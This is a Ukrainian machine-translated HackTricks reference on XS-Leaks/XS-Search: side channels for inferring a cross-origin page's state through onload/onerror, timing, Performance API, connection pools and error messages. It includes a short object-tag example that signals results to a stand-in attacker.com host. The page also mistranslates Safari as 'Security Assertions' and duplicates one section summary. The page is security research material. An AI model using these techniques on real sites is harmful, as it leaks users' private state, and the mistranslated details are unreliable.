Ukranian - Ht
HackTricks Training Twitter Linkedin Sponsor

XS-Search/XS-Leaks

Використовуйте ****, щоб легко створювати та автоматизувати робочі процеси, що базуються на найсучасніших інструментах спільноти. Отримайте доступ сьогодні:

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримка HackTricks

Основна інформація

XS-Search — це метод, що використовується для витягування інформації з крос-доменів, використовуючи вразливості бічного каналу.

Ключові компоненти, залучені в цю атаку, включають:

  • Вразливий веб: Цільовий вебсайт, з якого планується витягнення інформації.

  • Веб атакуючого: Зловмисний вебсайт, створений атакуючим, який відвідує жертва, що містить експлойт.

  • Метод включення: Техніка, що використовується для включення Вразливого вебу в Веб атакуючого (наприклад, window.open, iframe, fetch, HTML тег з href тощо).

  • Техніка витоку: Техніки, що використовуються для визначення відмінностей у стані Вразливого вебу на основі інформації, зібраної через метод включення.

  • Стан: Два потенційні стани Вразливого вебу, які атакуючий намагається розрізнити.

  • Виявлені відмінності: Спостережувані варіації, на які атакуючий покладається, щоб зробити висновок про стан Вразливого вебу.

Виявлені відмінності

Кілька аспектів можна проаналізувати, щоб відрізнити стани Вразливого вебу:

  • Код статусу: Відрізнення між різними кодами статусу HTTP крос-домен, такими як помилки сервера, помилки клієнта або помилки аутентифікації.

  • Використання API: Визначення використання веб-API на сторінках, що показує, чи використовує крос-домена сторінка конкретний JavaScript веб-API.

  • Перенаправлення: Виявлення навігацій на різні сторінки, не лише HTTP перенаправлень, але й тих, що викликані JavaScript або HTML.

  • Вміст сторінки: Спостереження за варіаціями в тілі відповіді HTTP або в підресурсах сторінки, таких як кількість вбудованих фреймів або розмірні відмінності в зображеннях.

  • HTTP заголовок: Зазначення наявності або, можливо, значення конкретного заголовка відповіді HTTP, включаючи заголовки, такі як X-Frame-Options, Content-Disposition та Cross-Origin-Resource-Policy.

  • Час: Звернення уваги на постійні часові відмінності між двома станами.

Методи включення

  • HTML елементи: HTML пропонує різні елементи для включення ресурсів з крос-доменів, такі як таблиці стилів, зображення або скрипти, змушуючи браузер запитувати не-HTML ресурс. Збірка потенційних HTML елементів для цієї мети доступна за адресою https://github.com/cure53/HTTPLeaks.

  • Фрейми: Елементи, такі як iframe, object та embed, можуть вбудовувати HTML ресурси безпосередньо в сторінку атакуючого. Якщо сторінка не має захисту від фреймів, JavaScript може отримати доступ до об'єкта вікна вбудованого ресурсу через властивість contentWindow.

  • Спливаючі вікна: Метод window.open відкриває ресурс у новій вкладці або вікні, надаючи доступ до вікна для JavaScript для взаємодії з методами та властивостями відповідно до SOP. Спливаючі вікна, які часто використовуються в одноразовій аутентифікації, обходять обмеження фреймів і куків цільового ресурсу. Однак сучасні браузери обмежують створення спливаючих вікон до певних дій користувача.

  • Запити JavaScript: JavaScript дозволяє прямі запити до цільових ресурсів, використовуючи XMLHttpRequests або Fetch API. Ці методи пропонують точний контроль над запитом, наприклад, можливість слідувати HTTP перенаправленням.

Техніки витоку

  • Обробник подій: Класична техніка витоку в XS-Leaks, де обробники подій, такі як onload та onerror, надають інформацію про успішність або невдачу завантаження ресурсу.

  • Повідомлення про помилки: Винятки JavaScript або спеціальні сторінки помилок можуть надавати інформацію про витік безпосередньо з повідомлення про помилку або шляхом розрізнення між її наявністю та відсутністю.

  • Глобальні обмеження: Фізичні обмеження браузера, такі як обсяг пам'яті або інші накладені обмеження браузера, можуть сигналізувати про досягнення порогу, служачи технікою витоку.

  • Глобальний стан: Виявлені взаємодії з глобальними станами браузерів (наприклад, інтерфейс історії) можуть бути використані. Наприклад, кількість записів в історії браузера може дати підказки про крос-домени сторінки.

  • Performance API: Цей API надає деталі продуктивності поточної сторінки, включаючи мережевий час для документа та завантажених ресурсів, що дозволяє робити висновки про запитувані ресурси.

  • Читабельні атрибути: Деякі HTML атрибути є читабельними з крос-доменів і можуть бути використані як техніка витоку. Наприклад, властивість window.frame.length дозволяє JavaScript підраховувати фрейми, включені в веб-сторінку з крос-доменів.

Інструмент XSinator та документ

XSinator — це автоматичний інструмент для перевірки браузерів на наявність кількох відомих XS-Leaks, пояснених у його документі: https://xsinator.com/paper.pdf

Ви можете отримати доступ до інструменту за адресою https://xsinator.com/

Виключені XS-Leaks: Нам довелося виключити XS-Leaks, які покладаються на сервісні працівники, оскільки вони заважали б іншим витокам в XSinator. Крім того, ми вирішили виключити XS-Leaks, які покладаються на неправильну конфігурацію та помилки в конкретному веб-додатку. Наприклад, неправильні конфігурації CrossOrigin Resource Sharing (CORS), витік postMessage або Cross-Site Scripting. Додатково, ми виключили XS-Leaks на основі часу, оскільки вони часто страждають від повільності, шуму та неточності.

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, що базуються на найсучасніших інструментах спільноти. Отримайте доступ сьогодні:

Техніки на основі часу

Деякі з наступних технік будуть використовувати час як частину процесу для виявлення відмінностей у можливих станах веб-сторінок. Існують різні способи вимірювання часу в веб-браузері.

Годинники: API performance.now() дозволяє розробникам отримувати вимірювання часу з високою роздільною здатністю. Існує значна кількість API, які атакуючі можуть зловживати для створення неявних годинників: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS анімації та інші. Для отримання додаткової інформації: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Техніки обробника подій

Onload/Onerror

Cookie Bomb + Onerror XS Leak

Приклад коду намагається завантажити об'єкти скриптів з JS, але інші теги, такі як об'єкти, таблиці стилів, зображення, аудіо, також можуть бути використані. Більше того, також можливо безпосередньо вставити тег і оголосити події onload та onerror всередині тега (замість того, щоб вставляти його з JS).

Існує також версія цієї атаки без скриптів:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

У цьому випадку, якщо example.com/404 не знайдено, буде завантажено attacker.com/?error.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

Ця техніка схожа на попередню, але зловмисник також примусить деяку дію зайняти відповідну кількість часу, коли відповідь позитивна або негативна, і вимірює цей час.

performance.now + Force heavy task

unload/beforeunload Timing

Час, витрачений на отримання ресурсу, можна виміряти, використовуючи події unload та beforeunload. Подія beforeunload спрацьовує, коли браузер збирається перейти на нову сторінку, тоді як подія unload відбувається, коли навігація фактично відбувається. Часова різниця між цими двома подіями може бути обчислена для визначення тривалості, яку браузер витратив на отримання ресурсу.

Sandboxed Frame Timing + onload

Було помічено, що за відсутності Framing Protections час, необхідний для завантаження сторінки та її підресурсів через мережу, може бути виміряний зловмисником. Це вимірювання зазвичай можливе, оскільки обробник onload iframe спрацьовує лише після завершення завантаження ресурсів і виконання JavaScript. Щоб обійти варіативність, введену виконанням скриптів, зловмисник може використовувати атрибут sandbox у <iframe>. Включення цього атрибута обмежує численні функціональності, зокрема виконання JavaScript, що полегшує вимірювання, яке в основному залежить від продуктивності мережі.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • More info:

  • Summary: Якщо ви можете викликати помилку на сторінці, коли доступ до правильного контенту, і змусити її завантажитися правильно, коли доступ до будь-якого контенту, тоді ви можете створити цикл для витягування всієї інформації без вимірювання часу.

  • Code Example:

Припустимо, що ви можете вставити сторінку, яка має секретний контент всередину Iframe.

Ви можете змусити жертву шукати файл, який містить "flag", використовуючи Iframe (експлуатуючи CSRF, наприклад). Всередині Iframe ви знаєте, що подія onload буде виконана завжди принаймні один раз. Тоді ви можете змінити URL iframe, змінюючи лише вміст hash всередині URL.

Наприклад:

  1. URL1: www.attacker.com/xssearch#try1

  2. URL2: www.attacker.com/xssearch#try2

Якщо перший URL був успішно завантажений, тоді, при зміні частини hash URL, подія onload не буде знову викликана. Але якщо на сторінці була якась помилка під час завантаження, тоді подія onload буде викликана знову.

Тоді ви можете відрізнити між правильно завантаженою сторінкою або сторінкою, яка має помилку при доступі.

Javascript Execution

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • More info:

  • Summary: Якщо сторінка повертає чутливий контент, або контент, який може бути контрольований користувачем. Користувач може встановити дійсний JS код у негативному випадку, завантажуючи кожну спробу всередині <script> тегів, так що в негативних випадках код атакуючого виконується, а в позитивних випадках нічого не буде виконано.

  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Status Code & Headers

  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/

  • Summary: Блокування читання з різних джерел (CORB) є заходом безпеки, який запобігає завантаженню веб-сторінками певних чутливих ресурсів з інших джерел для захисту від атак, таких як Spectre. Однак, атакуючі можуть експлуатувати його захисну поведінку. Коли відповідь, що підлягає CORB, повертає захищений CORB Content-Type з nosniff і статус-кодом 2xx, CORB видаляє тіло та заголовки відповіді. Атакуючі, які спостерігають за цим, можуть вивести комбінацію статус-коду (який вказує на успіх або помилку) і Content-Type (який вказує, чи захищений він CORB), що може призвести до потенційного витоку інформації.

  • Code Example:

Перевірте посилання на більше інформації про атаку.

onblur

Можливо завантажити сторінку всередині iframe і використовувати #id_value, щоб змусити сторінку зосередитися на елементі iframe з вказаним id, тоді, якщо сигнал onblur буде викликаний, елемент ID існує. Ви можете виконати ту ж атаку з portal тегами.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: API Usage

  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/

  • Summary: Збирати чутливу інформацію з postMessage або використовувати наявність postMessages як оракул, щоб дізнатися статус користувача на сторінці

  • Code Example: Any code listening for all postMessages.

Застосунки часто використовують postMessage broadcasts для спілкування між різними джерелами. Однак, цей метод може ненавмисно розкрити чутливу інформацію, якщо параметр targetOrigin не вказаний належним чином, що дозволяє будь-якому вікну отримувати повідомлення. Більше того, сам факт отримання повідомлення може діяти як оракул; наприклад, певні повідомлення можуть надсилатися лише користувачам, які увійшли в систему. Отже, наявність або відсутність цих повідомлень може розкрити інформацію про стан або особу користувача, наприклад, чи аутентифікований він чи ні.

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, підтримувані найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:

Global Limits Techniques

WebSocket API

Можливо визначити, чи і скільки з'єднань WebSocket використовує цільова сторінка. Це дозволяє атакуючому виявити стани програми та витік інформації, пов'язаної з кількістю з'єднань WebSocket.

Якщо одне джерело використовує максимальну кількість об'єктів з'єднання WebSocket, незалежно від їх стану з'єднання, створення нових об'єктів призведе до виключень JavaScript. Щоб виконати цю атаку, веб-сайт атакуючого відкриває цільовий веб-сайт у спливаючому вікні або iframe, а потім, після завантаження цільового веб-сайту, намагається створити максимальну кількість можливих з'єднань WebSocket. Кількість викинутих виключень є кількістю з'єднань WebSocket, які використовує цільовий веб-сайт.

Payment API

Цей XS-Leak дозволяє атакуючому виявити, коли крос-домена сторінка ініціює запит на оплату.

Оскільки лише один запит на оплату може бути активним одночасно, якщо цільовий веб-сайт використовує API запиту на оплату, будь-які подальші спроби використати цей API зазнають невдачі** і викличуть виключення JavaScript. Атакуючий може експлуатувати це, періодично намагаючись показати інтерфейс API оплати. Якщо одна спроба викликає виключення, цільовий веб-сайт наразі його використовує. Атакуючий може приховати ці періодичні спроби, негайно закриваючи інтерфейс після створення.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript працює за моделлю паралельності однопотокового циклу подій, що означає, що він може виконувати лише одне завдання за раз. Цю характеристику можна експлуатувати для оцінки того, скільки часу потрібно коду з іншого джерела для виконання. Атакуючий може виміряти час виконання свого коду в циклі подій, постійно відправляючи події з фіксованими властивостями. Ці події будуть оброблені, коли пул подій буде порожнім. Якщо інші джерела також відправляють події в той же пул, атакуючий може вивести час, який потрібен для виконання цих зовнішніх подій, спостерігаючи затримки в виконанні своїх власних завдань. Цей метод моніторингу циклу подій на затримки може розкрити час виконання коду з різних джерел, потенційно розкриваючи чутливу інформацію.

У вимірюванні часу виконання можливо усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням.

Busy Event Loop

  • Inclusion Methods:

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop

  • Summary: Один із методів вимірювання часу виконання веб-операції полягає в навмисному блокуванні циклу подій потоку, а потім вимірюванні того, скільки часу потрібно, щоб цикл подій знову став доступним. Вставивши блокуючу операцію (таку як довге обчислення або синхронний виклик API) у цикл подій і контролюючи час, який потрібен для початку виконання наступного коду, можна вивести тривалість завдань, які виконувалися в циклі подій під час блокуючого періоду. Ця техніка використовує однопоточну природу циклу подій JavaScript, де завдання виконуються послідовно, і може надати уявлення про продуктивність або поведінку інших операцій, які ділять той же потік.

  • Code Example:

Значною перевагою техніки вимірювання часу виконання шляхом блокування циклу подій є її потенціал обходити Ізоляцію сайтів. Ізоляція сайтів є функцією безпеки, яка розділяє різні веб-сайти на окремі процеси, щоб запобігти прямому доступу зловмисних сайтів до чутливих даних з інших сайтів. Однак, впливаючи на час виконання іншого джерела через спільний цикл подій, атакуючий може непрямо витягти інформацію про діяльність цього джерела. Цей метод не покладається на прямий доступ до даних іншого джерела, а скоріше спостерігає за впливом діяльності цього джерела на спільний цикл подій, таким чином ухиляючись від захисних бар'єрів, встановлених Ізоляцією сайтів.

У вимірюванні часу виконання можливо усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням.

Connection Pool

  • Inclusion Methods: JavaScript Requests

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

  • Summary: Атакуючий може заблокувати всі сокети, крім 1, завантажити цільовий веб-сайт і одночасно завантажити іншу сторінку, час до початку завантаження останньої сторінки є часом, який цільова сторінка витратила на завантаження.

  • Code Example:

Connection Pool Examples

Браузери використовують сокети для зв'язку з сервером, але через обмежені ресурси операційної системи та апаратного забезпечення браузери змушені накладати обмеження на кількість одночасних сокетів. Атакуючі можуть експлуатувати це обмеження через наступні кроки:

  1. Визначити ліміт сокетів браузера, наприклад, 256 глобальних сокетів.

  2. Зайняти 255 сокетів на тривалий час, ініціюючи 255 запитів до різних хостів, призначених для підтримки з'єднань відкритими без завершення.

  3. Використати 256-й сокет для надсилання запиту до цільової сторінки.

  4. Спробувати 257-й запит до іншого хоста. Оскільки всі сокети зайняті (згідно з кроками 2 і 3), цей запит буде поставлений в чергу, поки не з'явиться доступний сокет. Затримка перед тим, як цей запит продовжиться, надає атакуючому інформацію про час, пов'язану з мережею, що стосується 256-го сокета (сокета цільової сторінки). Це виведення можливе, оскільки 255 сокетів з кроку 2 все ще зайняті, що означає, що будь-який новий доступний сокет повинен бути тим, що звільнено з кроку 3. Час, необхідний для того, щоб 256-й сокет став доступним, таким чином, безпосередньо пов'язаний з часом, необхідним для завершення запиту до цільової сторінки.

Для отримання додаткової інформації: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • More info:

  • Summary: Це як попередня техніка, але замість використання всіх сокетів, Google Chrome накладає обмеження на 6 одночасних запитів до одного джерела. Якщо ми заблокуємо 5 і потім запустимо 6-й запит, ми можемо виміряти його, і якщо нам вдалося змусити сторінку жертви надіслати більше запитів до одного й того ж кінцевого пункту, щоб виявити статус сторінки, 6-й запит займе більше часу, і ми можемо це виявити.

Performance API Techniques

Performance API пропонує інформацію про показники продуктивності веб-додатків, додатково збагачену Resource Timing API. Resource Timing API дозволяє моніторити детальні часи запитів до мережі, такі як тривалість запитів. Особливо, коли сервери включають заголовок Timing-Allow-Origin: * у своїх відповідях, стають доступними додаткові дані, такі як розмір передачі та час пошуку домену.

Ці дані можна отримати за допомогою методів, таких як performance.getEntries або performance.getEntriesByName, що надає всебічний огляд інформації, пов'язаної з продуктивністю. Крім того, API полегшує вимірювання часу виконання, обчислюючи різницю між часовими мітками, отриманими з performance.now(). Однак варто зазначити, що для певних операцій у браузерах, таких як Chrome, точність performance.now() може бути обмежена до мілісекунд, що може вплинути на детальність вимірювань часу.

Окрім вимірювань часу, Performance API можна використовувати для отримання інформації, пов'язаної з безпекою. Наприклад, наявність або відсутність сторінок в об'єкті performance у Chrome може вказувати на застосування X-Frame-Options. Зокрема, якщо сторінка заблокована від відображення в фреймі через X-Frame-Options, вона не буде зафіксована в об'єкті performance, що надає тонкий натяк на політику фреймування сторінки.

Error Leak

Можливо відрізнити між статус-кодами HTTP, оскільки запити, які призводять до помилки, не створюють запису продуктивності.

Style Reload Error

У попередній техніці також були виявлені два випадки, коли помилки браузера в GC призводять до завантаження ресурсів двічі, коли вони не вдаються. Це призведе до кількох записів у Performance API і, отже, може бути виявлено.

Request Merging Error

Техніка була знайдена в таблиці в згаданій статті, але опис техніки в ній не був знайдений. Однак ви можете знайти вихідний код, перевіряючи його на https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

Атакуючий може виявити, чи запит призвів до порожнього тіла HTTP-відповіді, оскільки порожні сторінки не створюють запис продуктивності в деяких браузерах.

XSS-Auditor Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • More info: https://xsinator.com/paper.pdf (5.2)

  • Summary: Використовуючи XSS Auditor у Security Assertions, атакуючі можуть виявити конкретні елементи веб-сторінки, спостерігаючи за змінами у відповідях, коли створені корисні навантаження активують механізм фільтрації аудитора.

  • Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

У Security Assertions (SA) XSS Auditor, спочатку призначений для запобігання атакам Cross-Site Scripting (XSS), може парадоксально бути використаний для витоку чутливої інформації. Хоча ця вбудована функція була видалена з Google Chrome (GC), вона все ще присутня в SA. У 2013 році Браун і Хайдеріх продемонстрували, що XSS Auditor може ненавмисно блокувати законні скрипти, що призводить до хибних позитивів. Спираючись на це, дослідники розробили техніки для витягування інформації та виявлення конкретного контенту на крос-доменных сторінках, концепція, відома як XS-Leaks, спочатку повідомлена Терадою і розширена Хейзом у блозі. Хоча ці техніки були специфічні для XSS Auditor у GC, було виявлено, що в SA сторінки, заблоковані XSS Auditor, не генерують записи в Performance API, що розкриває метод, за допомогою якого чутлива інформація може все ще бути витекла.

X-Frame Leak

Якщо сторінка не дозволена бути відображеною в iframe, вона не створює запис продуктивності. Як результат, атакуючий може виявити заголовок відповіді X-Frame-Options. Те ж саме відбувається, якщо ви використовуєте embed тег.

Download Detection

Подібно до описаного XS-Leak, ресурс, що завантажується через заголовок ContentDisposition, також не створює запис продуктивності. Ця техніка працює у всіх основних браузерах.

Redirect Start Leak

Ми знайшли один випадок XS-Leak, який зловживає поведінкою деяких браузерів, які реєструють занадто багато інформації для запитів з різних джерел. Стандарт визначає підмножину атрибутів, які повинні бути встановлені на нуль для крос-доменных ресурсів. Однак у SA можливо виявити, чи користувач перенаправлений цільовою сторінкою, запитуючи Performance API та перевіряючи дані про час redirectStart.

Duration Redirect Leak

У GC тривалість для запитів, що призводять до перенаправлення, є негативною і, отже, може бути відрізнена від запитів, які не призводять до перенаправлення.

CORP Leak

У деяких випадках запис nextHopProtocol може бути використаний як техніка витоку. У GC, коли заголовок CORP встановлений, nextHopProtocol буде порожнім. Зверніть увагу, що SA взагалі не створить запис продуктивності для ресурсів, активованих CORP.

Service Worker

Сервісні робітники є контекстами скриптів, що реагують на події, які працюють на джерелі. Вони працюють у фоновому режимі веб-сторінки та можуть перехоплювати, змінювати та кешувати ресурси для створення офлайн веб-додатків. Якщо ресурс, кешований сервісним робітником, доступний через iframe, ресурс буде завантажено з кешу сервісного робітника. Щоб виявити, чи ресурс був завантажений з кешу сервісного робітника, можна використовувати Performance API. Це також можна зробити за допомогою атаки на час (перевірте статтю для отримання додаткової інформації).

Cache

Використовуючи Performance API, можливо перевірити, чи ресурс кешується.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
Властивість повідомлення інтерфейсу `MediaError` унікально ідентифікує ресурси, які завантажуються успішно, з допомогою відмінного рядка. Зловмисник може експлуатувати цю функцію, спостерігаючи за вмістом повідомлення, тим самим виводячи статус відповіді крос-доменного ресурсу.

### CORS Error

* **Методи включення**: Fetch API
* **Виявна різниця**: Заголовок
* **Більше інформації**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Резюме:** У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів.
* **Приклад коду**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

Ця техніка дозволяє зловмиснику **витягувати місце призначення перенаправлення крос-доменного сайту**, експлуатуючи те, як браузери на базі Webkit обробляють запити CORS. Зокрема, коли **запит з підтримкою CORS** надсилається на цільовий сайт, який викликає перенаправлення на основі стану користувача, а браузер потім відмовляє у запиті, **повна URL-адреса цілі перенаправлення** розкривається в повідомленні про помилку. Ця вразливість не тільки розкриває факт перенаправлення, але також відкриває кінцеву точку перенаправлення та будь-які **чутливі параметри запиту**, які вона може містити.

### SRI Error

* **Методи включення**: Fetch API
* **Виявна різниця**: Заголовок
* **Більше інформації**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Резюме:** У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів.
* **Приклад коду**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

Зловмисник може експлуатувати **докладні повідомлення про помилки**, щоб вивести розмір відповідей крос-доменно. Це можливо завдяки механізму цілісності підресурсів (SRI), який використовує атрибут цілісності для перевірки того, що ресурси, які завантажуються, часто з CDN, не були підроблені. Щоб SRI працював на крос-доменных ресурсах, вони повинні бути **CORS-увімкнені**; в іншому випадку вони не підлягають перевіркам цілісності. У Security Assertions (SA), подібно до помилки CORS XS-Leak, повідомлення про помилку може бути захоплене після того, як запит з атрибутом цілісності не вдається. Зловмисники можуть навмисно **викликати цю помилку**, призначивши **фальшиве значення хешу** для атрибута цілісності будь-якого запиту. У SA результуюче повідомлення про помилку ненавмисно розкриває довжину вмісту запитуваного ресурсу. Ця витік інформації дозволяє зловмиснику розрізняти варіації в розмірі відповіді, прокладаючи шлях для складних атак XS-Leak.

### CSP Violation/Detection

* **Методи включення**: Вікна
* **Виявна різниця**: Код статусу
* **Більше інформації**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Резюме:** Дозволяючи лише веб-сайту жертви в CSP, якщо ми отримали доступ до нього, намагається перенаправити на інший домен, CSP викликає виявну помилку.
* **Приклад коду**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-Leak може використовувати CSP для виявлення, чи було перенаправлено крос-домений сайт на інший домен. Цей витік може виявити перенаправлення, але додатково домен цілі перенаправлення також витікає. Основна ідея цієї атаки полягає в тому, щоб **дозволити цільовий домен на сайті зловмисника**. Як тільки запит надсилається на цільовий домен, він **перенаправляє** на крос-домений домен. **CSP блокує** доступ до нього та створює **звіт про порушення, що використовується як техніка витоку**. Залежно від браузера, **цей звіт може витікати цільове місце перенаправлення**.\
Сучасні браузери не вказують URL, на який було перенаправлено, але ви все ще можете виявити, що було викликано крос-доменне перенаправлення.

### Cache

* **Методи включення**: Фрейми, Вікна
* **Виявна різниця**: Вміст сторінки
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Резюме:** Очистіть файл з кешу. Відкриває цільову сторінку, перевіряє, чи файл присутній у кеші.
* **Приклад коду:**

Браузери можуть використовувати один спільний кеш для всіх веб-сайтів. Незалежно від їх походження, можливо вивести, чи цільова сторінка **запитувала конкретний файл**.

Якщо сторінка завантажує зображення лише якщо користувач увійшов в систему, ви можете **анулювати** **ресурс** (щоб він більше не кешувався, якщо це було, див. посилання на більше інформації), **виконати запит**, який може завантажити цей ресурс, і спробувати завантажити ресурс **з поганим запитом** (наприклад, використовуючи надто довгий заголовок referer). Якщо завантаження ресурсу **не викликало жодної помилки**, це тому, що він був **кешований**.

### CSP Directive

* **Методи включення**: Фрейми
* **Виявна різниця**: Заголовок
* **Більше інформації**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Резюме:** Директиви заголовка CSP можуть бути перевірені за допомогою атрибута iframe CSP, розкриваючи деталі політики.
* **Приклад коду**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Нова функція в Google Chrome (GC) дозволяє веб-сторінкам **пропонувати політику безпеки контенту (CSP)**, встановлюючи атрибут на елементі iframe, з директивами політики, що передаються разом з HTTP-запитом. Зазвичай вбудований вміст повинен **авторизувати це через HTTP-заголовок**, або **відображається сторінка з помилкою**. Однак, якщо iframe вже регулюється CSP, а нова запропонована політика не є більш обмежувальною, сторінка завантажиться нормально. Цей механізм відкриває шлях для зловмисника, щоб **виявити конкретні директиви CSP** крос-доменної сторінки, ідентифікуючи сторінку з помилкою. Хоча ця вразливість була позначена як виправлена, наші висновки виявляють **нову техніку витоку**, здатну виявити сторінку з помилкою, що свідчить про те, що основна проблема ніколи не була повністю вирішена.

### **CORP**

* **Методи включення**: Fetch API
* **Виявна різниця**: Заголовок
* **Більше інформації**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Резюме:** Ресурси, захищені політикою ресурсів крос-доменів (CORP), викликатимуть помилку, коли їх запитують з недозволеного походження.
* **Приклад коду**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

Заголовок CORP є відносно новою функцією безпеки веб-платформи, яка, коли встановлена, **блокує запити без CORS до даного ресурсу**. Присутність заголовка можна виявити, оскільки ресурс, захищений CORP, **викликатиме помилку при запиті**.

### CORB

* **Методи включення**: HTML елементи
* **Виявна різниця**: Заголовки
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Резюме**: CORB може дозволити зловмисникам виявити, коли **заголовок `nosniff` присутній** у запиті.
* **Приклад коду**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Перевірте посилання для отримання додаткової інформації про атаку.

### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Методи включення**: Fetch API
* **Виявна різниця**: Заголовки
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Резюме**: Якщо заголовок Origin відображається в заголовку `Access-Control-Allow-Origin`, можливо перевірити, чи ресурс вже в кеші.
* **Приклад коду**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

У випадку, якщо **заголовок Origin** **відображається** в заголовку `Access-Control-Allow-Origin`, зловмисник може зловживати цією поведінкою, намагаючись **отримати** **ресурс** в **CORS** режимі. Якщо **помилка** **не викликана**, це означає, що він був **правильно отриманий з вебу**, якщо помилка **викликана**, це тому, що він був **доступний з кешу** (помилка з'являється, тому що кеш зберігає відповідь з заголовком CORS, що дозволяє оригінальному домену, а не домену зловмисника)**.**\
Зверніть увагу, що якщо походження не відображається, але використовується символ підстановки (`Access-Control-Allow-Origin: *`), це не спрацює.

## Техніка читабельних атрибутів

### Fetch Redirect

* **Методи включення**: Fetch API
* **Виявна різниця**: Код статусу
